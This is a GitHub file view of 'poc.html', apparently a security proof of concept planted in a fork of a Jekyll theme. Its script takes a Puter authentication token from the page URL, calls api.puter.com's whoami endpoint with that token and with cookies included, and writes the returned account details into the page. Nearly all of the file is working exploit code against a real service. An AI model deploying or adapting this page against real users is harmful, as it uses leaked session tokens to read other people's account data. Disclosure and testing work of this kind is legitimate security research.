forked from daattali/beautiful-jekyll
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.html
50 lines (48 loc) · 1.54 KB
/
poc.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Request Example</title>
</head>
<body>
<div id="response-container"></div> <!-- Container for displaying the response -->
<img src="https://p16-useast2a.tiktokcdn.com/tos-useast2a-avt-0068-giso/a026cc6137208b6fbcd2eb510f131abe~c5_720x720.jpeg" alt="TikTok Avatar">
<script>
// Function to get URL parameter by name
function getUrlParameter(name) {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
return urlParams.get(name);
}
var jwt = getUrlParameter('puter.auth.token');
if (jwt) {
var url = 'https://api.puter.com/whoami?auth_token=' + jwt;
fetch(url, {
method: 'GET',
headers: {
'Content-Type': 'application/json;charset=UTF-8',
'Origin': 'https://ener1-s3c.github.io' // Custom Origin header
},
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (response.ok) {
return response.json();
} else {
throw new Error('Request failed with status:', response.status);
}
})
.then(data => {
// Display the response in the UI
document.getElementById('response-container').innerHTML = JSON.stringify(data, null, 2);
})
.catch(error => {
console.error('Error:', error.message); // Log any errors
});
} else {
console.error('JWT not found in URL.'); // JWT not available in URL
}
</script>
</body>
</html>